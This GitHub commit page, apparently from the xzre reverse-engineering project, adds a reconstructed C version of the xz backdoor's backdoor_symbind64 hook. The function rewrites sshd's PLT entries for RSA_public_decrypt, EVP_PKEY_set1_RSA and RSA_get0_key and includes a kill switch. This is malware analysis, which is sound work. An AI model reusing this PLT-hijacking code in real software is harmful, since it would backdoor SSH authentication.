Skip to content

Commit

Permalink
xzre_code: add backdoor_symbind64
Browse files Browse the repository at this point in the history
  • Loading branch information
smx-smx committed Aug 4, 2024
1 parent 64f4b26 commit 25eb8b4
Show file tree
Hide file tree
Showing 4 changed files with 116 additions and 5 deletions.
11 changes: 7 additions & 4 deletions xzre.h
Original file line number Diff line number Diff line change
Expand Up @@ -1013,17 +1013,17 @@ typedef struct __attribute__((packed)) imported_funcs {
* @brief address of the PLT for RSA_public_decrypt() in sshd
*
*/
void *RSA_public_decrypt_plt;
pfn_RSA_public_decrypt_t *RSA_public_decrypt_plt;
/**
* @brief address of the PLT for EVP_PKEY_set1_RSA() in sshd
*
*/
void *EVP_PKEY_set1_RSA_plt;
pfn_EVP_PKEY_set1_RSA_t *EVP_PKEY_set1_RSA_plt;
/**
* @brief address of the PLT for RSA_get0_key() in sshd
*
*/
void *RSA_get0_key_plt;
pfn_RSA_get0_key_t *RSA_get0_key_plt;
void (*DSA_get0_pqg)(
const DSA *d, const BIGNUM **p,
const BIGNUM **q, const BIGNUM **g);
Expand Down Expand Up @@ -3958,7 +3958,10 @@ extern u32 resolver_call_count;
static_assert(sizeof(resolver_call_count) == 0x4);

extern global_context_t *global_ctx;
static_assert(sizeof(global_ctx) == 0x8);
static_assert(sizeof(global_ctx) == sizeof(void *));

extern backdoor_hooks_data_t *hooks_data;
static_assert(sizeof(hooks_data) == sizeof(void *));

/**
* @brief location of backdoor_hooks_data_t
Expand Down
2 changes: 1 addition & 1 deletion xzre.lds.in
Original file line number Diff line number Diff line change
Expand Up @@ -192,7 +192,7 @@ SECTIONS_BEGIN()
SECTIONS_END(.data.rel.ro)

SECTIONS_BEGIN()
/* 000000000000CB10 */ DEFSYM(hooks_data_addr, .bss.filter_optionz)
/* 000000000000CB10 */ DEFSYM(hooks_data, .bss.filter_optionz)
/* 000000000000CB18 */ DEFSYM(global_ctx, .bss.lzma12_codez)
/* 000000000000CB20 */ DEFSYM(resolver_call_count, .bss.__intr2)
SECTIONS_END(.bss)
1 change: 1 addition & 0 deletions xzre_code/CMakeLists.txt
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
add_library(xzre_code
backdoor_entry.c
backdoor_symbind64.c
c_memmove.c
c_strlen.c
c_strnlen.c
Expand Down
107 changes: 107 additions & 0 deletions xzre_code/backdoor_symbind64.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"
#include <elf.h>

#define PLT_VALID(x) (UPTR(x) > 0xFFFFFF)

uintptr_t backdoor_symbind64(
Elf64_Sym *sym,
unsigned int ndx,
uptr *refcook, uptr *defcook,
unsigned int flags,
const char *symname
)
{
imported_funcs_t *funcs = &hooks_data->imported_funcs;
ldso_ctx_t *ldso = &hooks_data->ldso_ctx;

if(ldso->hooks_installed){
goto orig;
}

void *retaddr = __builtin_return_address(0);

void *_dl_audit_symbind_alt = ldso->_dl_audit_symbind_alt;
void *__libc_stack_end = hooks_data->libc_imports.__libc_stack_end;

#define HOOK_INSTALL(orig, plt, hook) do { \
(orig) = *(plt); \
*(plt) = (hook); \
/* updates the symbol if it's in ldso scope? */ \
if(UPTR(sym) > UPTR(retaddr) && UPTR(sym) < UPTR(__libc_stack_end)) \
sym->st_value = (Elf64_Addr)(hook); \
} while(0)

// trigger kill switch if the call site is not in ldso region
if(retaddr <= _dl_audit_symbind_alt) goto kill_switch;

uintptr_t func_end_addr = PTRADD(_dl_audit_symbind_alt, hooks_data->ldso_ctx._dl_audit_symbind_alt);
uintptr_t offset_in_function = PTRDIFF(retaddr, _dl_audit_symbind_alt);
if(offset_in_function > func_end_addr) goto kill_switch;

EncodedStringId string_id = get_string_id(symname, NULL);
BOOL plt_entry_valid;

/**
* only one of the following hooks will be installed (the first that passes the checks).
* the other ones are fallbacks (alternative entry points) in case the first one doesn't hit.
*/

if(string_id == STR_RSA_public_decrypt && funcs->RSA_public_decrypt_plt){
if(PLT_VALID(*funcs->RSA_public_decrypt_plt)){
HOOK_INSTALL(
funcs->RSA_public_decrypt,
funcs->RSA_public_decrypt_plt,
ldso->hook_RSA_public_decrypt
);
}
// RSA_public_decrypt is "standalone" (doesn't need further hooks)
goto symbind_reset;
} else if(string_id == STR_EVP_PKEY_set1_RSA && funcs->EVP_PKEY_set1_RSA_plt){
if(PLT_VALID(*funcs->EVP_PKEY_set1_RSA_plt)){
HOOK_INSTALL(
funcs->EVP_PKEY_set1_RSA,
funcs->EVP_PKEY_set1_RSA_plt,
ldso->hook_EVP_PKEY_set1_RSA
);

// EVP_PKEY_set1_RSA depends on RSA_get0_key to be also hooked
if(!funcs->RSA_get0_key_plt) {
goto symbind_reset;
}
plt_entry_valid = PLT_VALID(*funcs->RSA_get0_key_plt);
}
} else if(string_id == STR_RSA_get0_key && funcs->RSA_get0_key_plt){
if(PLT_VALID(*funcs->RSA_get0_key_plt)){
HOOK_INSTALL(
// ??
funcs->RSA_get0_key_null,
funcs->RSA_get0_key_plt,
ldso->hook_RSA_get0_key
);
// RSA_get0_key depends on EVP_PKEY_set1_RSA to be also hooked
if(!funcs->EVP_PKEY_set1_RSA_plt){
goto symbind_reset;
}
plt_entry_valid = PLT_VALID(*funcs->EVP_PKEY_set1_RSA_plt);
}
} else {
goto orig;
}

/** if the hook has been installed successfully */
if(plt_entry_valid){
symbind_reset:
init_ldso_ctx(&hooks_data->ldso_ctx);

kill_switch:
hooks_data->ldso_ctx.hooks_installed = TRUE;
}

orig:
return sym->st_value;

#undef HOOK_INSTALL
}

0 comments on commit 25eb8b4

Please sign in to comment.